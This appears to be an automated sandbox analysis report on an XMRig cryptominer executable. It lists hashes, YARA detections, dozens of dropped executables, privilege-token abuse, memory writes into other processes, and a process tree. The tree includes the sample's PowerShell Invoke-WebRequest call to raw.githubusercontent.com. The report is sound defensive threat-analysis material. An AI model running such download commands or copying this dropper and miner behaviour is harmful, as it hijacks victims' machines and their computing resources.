xmrig | 758d7ae2d86bf56b2eeabf8b538c350b26c8983b210c1c00fea2536b0f80c0c1

Analysis

max time kernel
143s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
17/05/2024, 18:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
Size

3.0MB
MD5

1937422ac2e11f04443ee05ee16b73a0
SHA1

e3eba8c2c95afb6925ac0cc0359024496850d175
SHA256

758d7ae2d86bf56b2eeabf8b538c350b26c8983b210c1c00fea2536b0f80c0c1
SHA512

26947321b7ef88982eb7e3815d4fd49d14a4c492e771d5f960a120995ca15322934ebba45e679a6646ad325435aa17e5dadecd5b569103f21ffdb5698514cfa3
SSDEEP

98304:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrW8:SbBeSFkY

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/4532-0-0x00007FF7A0330000-0x00007FF7A0726000-memory.dmp	xmrig
behavioral2/files/0x00070000000233d5-9.dat	xmrig
behavioral2/files/0x00070000000233d4-13.dat	xmrig
behavioral2/files/0x00080000000233d3-7.dat	xmrig
behavioral2/files/0x00070000000233db-44.dat	xmrig
behavioral2/files/0x00070000000233d9-59.dat	xmrig
behavioral2/files/0x00070000000233dc-79.dat	xmrig
behavioral2/files/0x00070000000233df-97.dat	xmrig
behavioral2/files/0x00070000000233e3-108.dat	xmrig
behavioral2/memory/372-115-0x00007FF7357D0000-0x00007FF735BC6000-memory.dmp	xmrig
behavioral2/memory/4508-117-0x00007FF6F4BC0000-0x00007FF6F4FB6000-memory.dmp	xmrig
behavioral2/memory/3756-120-0x00007FF61BF70000-0x00007FF61C366000-memory.dmp	xmrig
behavioral2/memory/1520-123-0x00007FF7A6F50000-0x00007FF7A7346000-memory.dmp	xmrig
behavioral2/memory/1324-129-0x00007FF63B500000-0x00007FF63B8F6000-memory.dmp	xmrig
behavioral2/memory/1068-128-0x00007FF771990000-0x00007FF771D86000-memory.dmp	xmrig
behavioral2/memory/4104-127-0x00007FF78CD70000-0x00007FF78D166000-memory.dmp	xmrig
behavioral2/memory/448-126-0x00007FF774590000-0x00007FF774986000-memory.dmp	xmrig
behavioral2/memory/1084-124-0x00007FF679C70000-0x00007FF67A066000-memory.dmp	xmrig
behavioral2/memory/1852-122-0x00007FF65EED0000-0x00007FF65F2C6000-memory.dmp	xmrig
behavioral2/memory/5084-121-0x00007FF73B210000-0x00007FF73B606000-memory.dmp	xmrig
behavioral2/memory/4500-119-0x00007FF68D0D0000-0x00007FF68D4C6000-memory.dmp	xmrig
behavioral2/memory/1840-118-0x00007FF7F5A00000-0x00007FF7F5DF6000-memory.dmp	xmrig
behavioral2/memory/1676-116-0x00007FF671BC0000-0x00007FF671FB6000-memory.dmp	xmrig
behavioral2/files/0x00080000000233e5-113.dat	xmrig
behavioral2/files/0x00070000000233e6-111.dat	xmrig
behavioral2/memory/3268-110-0x00007FF6EDCA0000-0x00007FF6EE096000-memory.dmp	xmrig
behavioral2/files/0x00070000000233e2-106.dat	xmrig
behavioral2/files/0x00070000000233e1-104.dat	xmrig
behavioral2/files/0x00070000000233e0-102.dat	xmrig
behavioral2/memory/4752-101-0x00007FF7704C0000-0x00007FF7708B6000-memory.dmp	xmrig
behavioral2/memory/4700-95-0x00007FF622AF0000-0x00007FF622EE6000-memory.dmp	xmrig
behavioral2/files/0x00070000000233de-92.dat	xmrig
behavioral2/files/0x00070000000233dd-83.dat	xmrig
behavioral2/files/0x00070000000233da-63.dat	xmrig
behavioral2/memory/1800-78-0x00007FF7D0120000-0x00007FF7D0516000-memory.dmp	xmrig
behavioral2/files/0x00070000000233d8-54.dat	xmrig
behavioral2/memory/3372-50-0x00007FF727FB0000-0x00007FF7283A6000-memory.dmp	xmrig
behavioral2/files/0x00070000000233d7-39.dat	xmrig
behavioral2/files/0x00070000000233d6-37.dat	xmrig
behavioral2/files/0x00070000000233e7-167.dat	xmrig
behavioral2/memory/5092-185-0x00007FF646510000-0x00007FF646906000-memory.dmp	xmrig
behavioral2/files/0x00070000000233f7-190.dat	xmrig
behavioral2/files/0x00070000000233f8-195.dat	xmrig
behavioral2/memory/764-205-0x00007FF68DD50000-0x00007FF68E146000-memory.dmp	xmrig
behavioral2/files/0x00070000000233fb-212.dat	xmrig
behavioral2/files/0x00070000000233fc-217.dat	xmrig
behavioral2/files/0x00070000000233fd-222.dat	xmrig
behavioral2/memory/4580-214-0x00007FF775650000-0x00007FF775A46000-memory.dmp	xmrig
behavioral2/memory/3852-209-0x00007FF687F20000-0x00007FF688316000-memory.dmp	xmrig
behavioral2/memory/2964-200-0x00007FF6D0580000-0x00007FF6D0976000-memory.dmp	xmrig
behavioral2/files/0x00070000000233f6-199.dat	xmrig
behavioral2/files/0x00070000000233fa-197.dat	xmrig
behavioral2/files/0x00080000000233d1-181.dat	xmrig
behavioral2/files/0x00070000000233fe-261.dat	xmrig
behavioral2/files/0x000700000002340b-275.dat	xmrig
behavioral2/files/0x000700000002340e-279.dat	xmrig
behavioral2/files/0x000700000002340f-280.dat	xmrig
behavioral2/files/0x000700000002340d-277.dat	xmrig
behavioral2/files/0x000700000002340c-276.dat	xmrig
behavioral2/memory/4532-1369-0x00007FF7A0330000-0x00007FF7A0726000-memory.dmp	xmrig
behavioral2/memory/1840-3993-0x00007FF7F5A00000-0x00007FF7F5DF6000-memory.dmp	xmrig
behavioral2/memory/4500-3995-0x00007FF68D0D0000-0x00007FF68D4C6000-memory.dmp	xmrig
behavioral2/memory/1852-3999-0x00007FF65EED0000-0x00007FF65F2C6000-memory.dmp	xmrig
behavioral2/memory/1324-3997-0x00007FF63B500000-0x00007FF63B8F6000-memory.dmp	xmrig

Blocklisted process makes network request 6 IoCs

flow	pid	Process
9	1780	powershell.exe
11	1780	powershell.exe
13	1780	powershell.exe
14	1780	powershell.exe
16	1780	powershell.exe
29	1780	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1780	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1084	uOrIbbe.exe
3372	MxwkoKS.exe
1800	Vuplihl.exe
4700	ASiDyus.exe
4752	fKdFrmy.exe
3268	ZfgVqOJ.exe
372	rtvtfdn.exe
1676	hyUAIRf.exe
4508	CYgbXYr.exe
448	JpRWOPd.exe
4104	ZtTsYUP.exe
1840	XhjedCi.exe
4500	DXoriCJ.exe
3756	nlWQtEn.exe
1068	vqtQCYi.exe
5084	DjGkRoG.exe
1852	FoOiWMP.exe
1324	IJZBVBO.exe
1520	TCisheI.exe
5092	WsJRgBJ.exe
2964	oNkzctH.exe
3852	JEhITKa.exe
764	gGiwFVH.exe
4580	RjhRwZx.exe
3996	ZwZZJZp.exe
2144	fAfVyxU.exe
3116	SxNiAXh.exe
400	GcTbqFI.exe
2480	HRRSQaF.exe
5004	qmSuXGL.exe
1720	qAkYSvP.exe
4416	WZEtmii.exe
1436	zuPQDRt.exe
2412	oaXwRmt.exe
1652	MNbAenz.exe
1900	aVmVhfO.exe
868	gglYphJ.exe
4484	fKnxfyT.exe
3024	mEYeZkP.exe
676	WUggDeJ.exe
1924	kvNcwjz.exe
1188	qVaTBUf.exe
864	JfDSfUM.exe
3264	rrcaOmS.exe
4656	kKIZpjy.exe
3584	BedqblK.exe
1740	ceCYcdY.exe
4424	rKFoUrs.exe
3672	RxALkks.exe
4296	mDfUdku.exe
2624	fSbqICc.exe
1600	LhMQofD.exe
5112	AyWFiez.exe
4664	VMeQrbC.exe
1828	GQHTHfN.exe
3964	OWXLITM.exe
4620	cFzSsIC.exe
208	HOkpEyB.exe
1336	sxSjXIB.exe
2436	DLWEdWR.exe
1500	TBMTwQT.exe
1412	iesjqCn.exe
3912	FJfnIxM.exe
2784	JiUAlkE.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4532-0-0x00007FF7A0330000-0x00007FF7A0726000-memory.dmp	upx
behavioral2/files/0x00070000000233d5-9.dat	upx
behavioral2/files/0x00070000000233d4-13.dat	upx
behavioral2/files/0x00080000000233d3-7.dat	upx
behavioral2/files/0x00070000000233db-44.dat	upx
behavioral2/files/0x00070000000233d9-59.dat	upx
behavioral2/files/0x00070000000233dc-79.dat	upx
behavioral2/files/0x00070000000233df-97.dat	upx
behavioral2/files/0x00070000000233e3-108.dat	upx
behavioral2/memory/372-115-0x00007FF7357D0000-0x00007FF735BC6000-memory.dmp	upx
behavioral2/memory/4508-117-0x00007FF6F4BC0000-0x00007FF6F4FB6000-memory.dmp	upx
behavioral2/memory/3756-120-0x00007FF61BF70000-0x00007FF61C366000-memory.dmp	upx
behavioral2/memory/1520-123-0x00007FF7A6F50000-0x00007FF7A7346000-memory.dmp	upx
behavioral2/memory/1324-129-0x00007FF63B500000-0x00007FF63B8F6000-memory.dmp	upx
behavioral2/memory/1068-128-0x00007FF771990000-0x00007FF771D86000-memory.dmp	upx
behavioral2/memory/4104-127-0x00007FF78CD70000-0x00007FF78D166000-memory.dmp	upx
behavioral2/memory/448-126-0x00007FF774590000-0x00007FF774986000-memory.dmp	upx
behavioral2/memory/1084-124-0x00007FF679C70000-0x00007FF67A066000-memory.dmp	upx
behavioral2/memory/1852-122-0x00007FF65EED0000-0x00007FF65F2C6000-memory.dmp	upx
behavioral2/memory/5084-121-0x00007FF73B210000-0x00007FF73B606000-memory.dmp	upx
behavioral2/memory/4500-119-0x00007FF68D0D0000-0x00007FF68D4C6000-memory.dmp	upx
behavioral2/memory/1840-118-0x00007FF7F5A00000-0x00007FF7F5DF6000-memory.dmp	upx
behavioral2/memory/1676-116-0x00007FF671BC0000-0x00007FF671FB6000-memory.dmp	upx
behavioral2/files/0x00080000000233e5-113.dat	upx
behavioral2/files/0x00070000000233e6-111.dat	upx
behavioral2/memory/3268-110-0x00007FF6EDCA0000-0x00007FF6EE096000-memory.dmp	upx
behavioral2/files/0x00070000000233e2-106.dat	upx
behavioral2/files/0x00070000000233e1-104.dat	upx
behavioral2/files/0x00070000000233e0-102.dat	upx
behavioral2/memory/4752-101-0x00007FF7704C0000-0x00007FF7708B6000-memory.dmp	upx
behavioral2/memory/4700-95-0x00007FF622AF0000-0x00007FF622EE6000-memory.dmp	upx
behavioral2/files/0x00070000000233de-92.dat	upx
behavioral2/files/0x00070000000233dd-83.dat	upx
behavioral2/files/0x00070000000233da-63.dat	upx
behavioral2/memory/1800-78-0x00007FF7D0120000-0x00007FF7D0516000-memory.dmp	upx
behavioral2/files/0x00070000000233d8-54.dat	upx
behavioral2/memory/3372-50-0x00007FF727FB0000-0x00007FF7283A6000-memory.dmp	upx
behavioral2/files/0x00070000000233d7-39.dat	upx
behavioral2/files/0x00070000000233d6-37.dat	upx
behavioral2/files/0x00070000000233e7-167.dat	upx
behavioral2/memory/5092-185-0x00007FF646510000-0x00007FF646906000-memory.dmp	upx
behavioral2/files/0x00070000000233f7-190.dat	upx
behavioral2/files/0x00070000000233f8-195.dat	upx
behavioral2/memory/764-205-0x00007FF68DD50000-0x00007FF68E146000-memory.dmp	upx
behavioral2/files/0x00070000000233fb-212.dat	upx
behavioral2/files/0x00070000000233fc-217.dat	upx
behavioral2/files/0x00070000000233fd-222.dat	upx
behavioral2/memory/4580-214-0x00007FF775650000-0x00007FF775A46000-memory.dmp	upx
behavioral2/memory/3852-209-0x00007FF687F20000-0x00007FF688316000-memory.dmp	upx
behavioral2/memory/2964-200-0x00007FF6D0580000-0x00007FF6D0976000-memory.dmp	upx
behavioral2/files/0x00070000000233f6-199.dat	upx
behavioral2/files/0x00070000000233fa-197.dat	upx
behavioral2/files/0x00080000000233d1-181.dat	upx
behavioral2/files/0x00070000000233fe-261.dat	upx
behavioral2/files/0x000700000002340b-275.dat	upx
behavioral2/files/0x000700000002340e-279.dat	upx
behavioral2/files/0x000700000002340f-280.dat	upx
behavioral2/files/0x000700000002340d-277.dat	upx
behavioral2/files/0x000700000002340c-276.dat	upx
behavioral2/memory/4532-1369-0x00007FF7A0330000-0x00007FF7A0726000-memory.dmp	upx
behavioral2/memory/1840-3993-0x00007FF7F5A00000-0x00007FF7F5DF6000-memory.dmp	upx
behavioral2/memory/4500-3995-0x00007FF68D0D0000-0x00007FF68D4C6000-memory.dmp	upx
behavioral2/memory/1852-3999-0x00007FF65EED0000-0x00007FF65F2C6000-memory.dmp	upx
behavioral2/memory/1324-3997-0x00007FF63B500000-0x00007FF63B8F6000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\MvqvpPv.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\MOXquna.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\axSVQsg.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\MmKojrs.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\hghOZYB.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\mkoikOo.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\FXksWEy.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\IXwHzEZ.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\jvLWPxz.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\cGbwfeT.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\GLbEuFI.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\usofmgi.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\vpKIjJQ.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\vpJbofc.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\DeejnuK.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\mHQSlop.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\cSWrFOQ.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\KlkbaeL.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\QyvGwvk.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\ustCYkd.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\rdBILGx.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\yXzrrnX.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\iMYSUZI.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\FujCnRB.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\aKnfUpx.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\epDGlke.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\eyxagaP.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\oQpEAoA.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\JxhtpOY.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\lyVBmNU.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\JnykBPo.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\lRpMSWs.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\GFfsSoV.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\wgzXAoT.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\YjjoQQn.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\TaeOAvb.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\hWvkMHK.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\wLpXXcy.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\VCHOJfY.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\GxcGvUq.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\niwSZzu.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\tJUbxBU.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\wsSdBNC.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\BywdIDf.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\wvigRMb.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\befkMqo.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\kYfTMSt.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\jIFqhmH.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\CUdgOmo.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\nIzKTYG.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\tZApyhK.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\aCtSPtp.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\EFJXmOX.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\gdugVCa.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\aoUmlfw.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\XNBOTWy.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\arBCWBe.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\AeruCzW.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\uGexinh.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\EBajqht.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\BZPErvt.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\LIfATBg.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\wyoZneK.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
File created	C:\Windows\System\ksTyqCb.exe	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1780	powershell.exe
1780	powershell.exe
1780	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
Token: SeDebugPrivilege	1780	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4532 wrote to memory of 1780	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	82
PID 4532 wrote to memory of 1780	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	82
PID 4532 wrote to memory of 1084	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	83
PID 4532 wrote to memory of 1084	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	83
PID 4532 wrote to memory of 3372	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	84
PID 4532 wrote to memory of 3372	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	84
PID 4532 wrote to memory of 1800	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	85
PID 4532 wrote to memory of 1800	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	85
PID 4532 wrote to memory of 4700	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	86
PID 4532 wrote to memory of 4700	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	86
PID 4532 wrote to memory of 4752	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	87
PID 4532 wrote to memory of 4752	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	87
PID 4532 wrote to memory of 3268	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	88
PID 4532 wrote to memory of 3268	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	88
PID 4532 wrote to memory of 372	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	89
PID 4532 wrote to memory of 372	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	89
PID 4532 wrote to memory of 1676	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	90
PID 4532 wrote to memory of 1676	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	90
PID 4532 wrote to memory of 4508	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	91
PID 4532 wrote to memory of 4508	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	91
PID 4532 wrote to memory of 448	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	92
PID 4532 wrote to memory of 448	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	92
PID 4532 wrote to memory of 4104	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	93
PID 4532 wrote to memory of 4104	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	93
PID 4532 wrote to memory of 1840	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	94
PID 4532 wrote to memory of 1840	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	94
PID 4532 wrote to memory of 4500	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	95
PID 4532 wrote to memory of 4500	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	95
PID 4532 wrote to memory of 3756	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	96
PID 4532 wrote to memory of 3756	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	96
PID 4532 wrote to memory of 1068	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	97
PID 4532 wrote to memory of 1068	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	97
PID 4532 wrote to memory of 5084	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	98
PID 4532 wrote to memory of 5084	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	98
PID 4532 wrote to memory of 1852	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	99
PID 4532 wrote to memory of 1852	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	99
PID 4532 wrote to memory of 1324	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	100
PID 4532 wrote to memory of 1324	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	100
PID 4532 wrote to memory of 1520	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	101
PID 4532 wrote to memory of 1520	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	101
PID 4532 wrote to memory of 5092	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	102
PID 4532 wrote to memory of 5092	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	102
PID 4532 wrote to memory of 2964	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	103
PID 4532 wrote to memory of 2964	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	103
PID 4532 wrote to memory of 3852	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	104
PID 4532 wrote to memory of 3852	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	104
PID 4532 wrote to memory of 764	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	105
PID 4532 wrote to memory of 764	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	105
PID 4532 wrote to memory of 4580	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	106
PID 4532 wrote to memory of 4580	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	106
PID 4532 wrote to memory of 3996	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	107
PID 4532 wrote to memory of 3996	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	107
PID 4532 wrote to memory of 2144	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	108
PID 4532 wrote to memory of 2144	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	108
PID 4532 wrote to memory of 3116	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	109
PID 4532 wrote to memory of 3116	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	109
PID 4532 wrote to memory of 400	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	110
PID 4532 wrote to memory of 400	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	110
PID 4532 wrote to memory of 2480	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	111
PID 4532 wrote to memory of 2480	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	111
PID 4532 wrote to memory of 5004	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	112
PID 4532 wrote to memory of 5004	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	112
PID 4532 wrote to memory of 1720	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	113
PID 4532 wrote to memory of 1720	4532	1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe	113

C:\Users\Admin\AppData\Local\Temp\1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\1937422ac2e11f04443ee05ee16b73a0_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1780
- C:\Windows\System\uOrIbbe.exe
  C:\Windows\System\uOrIbbe.exe
  2⤵
  - Executes dropped EXE
  PID:1084
- C:\Windows\System\MxwkoKS.exe
  C:\Windows\System\MxwkoKS.exe
  2⤵
  - Executes dropped EXE
  PID:3372
- C:\Windows\System\Vuplihl.exe
  C:\Windows\System\Vuplihl.exe
  2⤵
  - Executes dropped EXE
  PID:1800
- C:\Windows\System\ASiDyus.exe
  C:\Windows\System\ASiDyus.exe
  2⤵
  - Executes dropped EXE
  PID:4700
- C:\Windows\System\fKdFrmy.exe
  C:\Windows\System\fKdFrmy.exe
  2⤵
  - Executes dropped EXE
  PID:4752
- C:\Windows\System\ZfgVqOJ.exe
  C:\Windows\System\ZfgVqOJ.exe
  2⤵
  - Executes dropped EXE
  PID:3268
- C:\Windows\System\rtvtfdn.exe
  C:\Windows\System\rtvtfdn.exe
  2⤵
  - Executes dropped EXE
  PID:372
- C:\Windows\System\hyUAIRf.exe
